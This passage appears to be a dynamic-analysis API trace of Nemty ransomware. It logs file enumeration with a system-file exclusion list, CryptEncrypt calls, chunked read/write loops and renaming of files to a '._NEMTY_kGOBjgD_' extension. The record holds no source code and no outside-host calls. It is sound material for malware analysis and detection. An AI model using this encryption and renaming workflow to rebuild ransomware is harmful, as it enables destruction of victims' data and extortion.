hTemplateFile=0x0) returned 0xffffffff [0121.415] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0121.415] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0121.416] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0121.416] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0121.425] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0121.425] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0121.425] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0121.425] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0121.434] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0121.434] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0121.434] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0121.434] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0121.443] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0121.443] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0121.443] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0121.443] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0121.453] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0121.453] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0121.453] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0121.453] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0121.462] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0121.462] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0121.462] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0121.462] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0121.471] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0121.471] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0121.471] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0121.471] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0121.486] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0121.486] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0121.486] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0121.486] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0121.496] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0121.496] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0121.496] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0121.496] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0121.505] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0121.505] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0121.505] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0121.505] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0121.514] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0121.514] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0121.514] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0121.514] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0121.520] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0121.520] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0121.520] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0121.520] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0121.533] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0121.533] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0121.533] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0121.533] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340330, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0121.533] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0121.533] CloseHandle (hObject=0xffffffff) returned 0 [0121.533] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63404a0 [0121.533] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0121.533] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0121.533] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0121.534] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0121.534] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0121.534] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6343fe8 [0121.534] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6344090 [0121.534] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0121.534] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0121.534] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\square_m.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\square_m.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\square_m.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\square_m.png._nemty_kgobjgd_")) returned 0 [0121.534] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344090 | out: hHeap=0x4f90000) returned 1 [0121.534] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404a0 | out: hHeap=0x4f90000) returned 1 [0121.534] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0121.534] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340330 | out: hHeap=0x4f90000) returned 1 [0121.534] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0121.534] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0121.534] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0121.534] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340288 | out: hHeap=0x4f90000) returned 1 [0121.534] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82b5c485, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x82b5c485, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x28c37c93, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xc2f, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="square_s.png", cAlternateFileName="")) returned 1 [0121.534] lstrcmpiW (lpString1="square_s.png", lpString2=".") returned 1 [0121.534] lstrcmpiW (lpString1="square_s.png", lpString2="..") returned 1 [0121.534] lstrcmpiW (lpString1="square_s.png", lpString2="...") returned 1 [0121.534] lstrcmpiW (lpString1="square_s.png", lpString2="windows") returned -1 [0121.534] lstrcmpiW (lpString1="square_s.png", lpString2="$RECYCLE.BIN") returned 1 [0121.535] lstrcmpiW (lpString1="square_s.png", lpString2="rsa") returned 1 [0121.535] lstrcmpiW (lpString1="square_s.png", lpString2="NTDETECT.COM") returned 1 [0121.535] lstrcmpiW (lpString1="square_s.png", lpString2="ntldr") returned 1 [0121.535] lstrcmpiW (lpString1="square_s.png", lpString2="MSDOS.SYS") returned 1 [0121.535] lstrcmpiW (lpString1="square_s.png", lpString2="IO.SYS") returned 1 [0121.535] lstrcmpiW (lpString1="square_s.png", lpString2="boot.ini") returned 1 [0121.535] lstrcmpiW (lpString1="square_s.png", lpString2="boot.ini") returned 1 [0121.535] lstrcmpiW (lpString1="square_s.png", lpString2="AUTOEXEC.BAT") returned 1 [0121.535] lstrcmpiW (lpString1="square_s.png", lpString2="ntuser.dat") returned 1 [0121.535] lstrcmpiW (lpString1="square_s.png", lpString2="desktop.ini") returned 1 [0121.535] lstrcmpiW (lpString1="square_s.png", lpString2="CONFIG.SYS") returned 1 [0121.535] lstrcmpiW (lpString1="square_s.png", lpString2="RECYCLER") returned 1 [0121.535] lstrcmpiW (lpString1="square_s.png", lpString2="BOOTSECT.BAK") returned 1 [0121.535] lstrcmpiW (lpString1="square_s.png", lpString2="bootmgr") returned 1 [0121.535] lstrcmpiW (lpString1="square_s.png", lpString2="programdata") returned 1 [0121.535] lstrcmpiW (lpString1="square_s.png", lpString2="appdata") returned 1 [0121.535] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0121.535] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="square_s.png", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0121.535] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="square_s.png", cchWideChar=12, lpMultiByteStr=0x653ebd0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="square_s.png", lpUsedDefaultChar=0x0) returned 12 [0121.535] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0121.535] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="square_s.png", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0121.535] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="square_s.png", cchWideChar=12, lpMultiByteStr=0x653ebd0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="square_s.png", lpUsedDefaultChar=0x0) returned 12 [0121.535] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0121.535] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0121.535] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0121.535] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="square_s.png", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0121.535] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="square_s.png", cchWideChar=12, lpMultiByteStr=0x653ec20, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="square_s.png", lpUsedDefaultChar=0x0) returned 12 [0121.535] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0121.535] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0121.535] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="square_s.png", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0121.535] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="square_s.png", cchWideChar=12, lpMultiByteStr=0x653ec58, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="square_s.png", lpUsedDefaultChar=0x0) returned 12 [0121.535] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0121.535] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340288 [0121.535] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401e0 | out: hHeap=0x4f90000) returned 1 [0121.535] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63401e0 [0121.535] Sleep (dwMilliseconds=0x5) [0121.537] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xfc16bd50, dwHighDateTime=0x1d561e7)) [0121.537] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xfc16bd50, dwHighDateTime=0x1d561e7)) [0121.537] GetLastError () returned 0x5 [0121.537] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0121.537] GetLastError () returned 0x5 [0121.537] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0121.538] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0121.538] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0121.538] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0121.538] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0121.538] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0121.538] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340330 [0121.538] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340330, pcchString=0x653e91c | out: pszString="VGeblR8LsNFStgL5vwNBmAi/Fag6NZMwivzDlPOsDkmra9jgRJTlA/CNDZcrl7o6\r\nuHeYM9+aB48u5EIkMlyRUadanMvWDpakFyeS0c7S43UKpQdH4/sK4F+mKfviUmrF\r\nvw8xLpBg1WU/PmCCxOTItN1ahJJQ03GZCilLK5h13JJydposwoyggRYzX0PyYIqK\r\njKiR3qzel7h6/uuiSPtp0sN3xoko1WZw/FYQo5/AxesOvdeTr0ev+hXh06oKov5F\r\nTX0A6Xbl0DCsKdtGRhc4Fe00kNyTQw6ECeKaIHXKAPHOH+i17glKXBcP3mN84mRM\r\nWZJ1B94wKw4cmOB9R3q+hQ==\r\n", pcchString=0x653e91c) returned 1 [0121.538] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0121.538] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340330 | out: hHeap=0x4f90000) returned 1 [0121.538] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0121.538] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0121.538] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340330 [0121.538] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0121.538] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\square_s.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\square_s.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0121.539] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0121.539] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0121.539] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0121.539] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0121.548] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0121.548] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0121.548] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0121.548] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0121.557] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0121.557] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0121.557] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0121.557] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0121.566] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0121.566] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0121.566] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0121.566] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0121.575] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0121.575] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0121.575] SetFilePointer (in: hFile=0xffffffff, 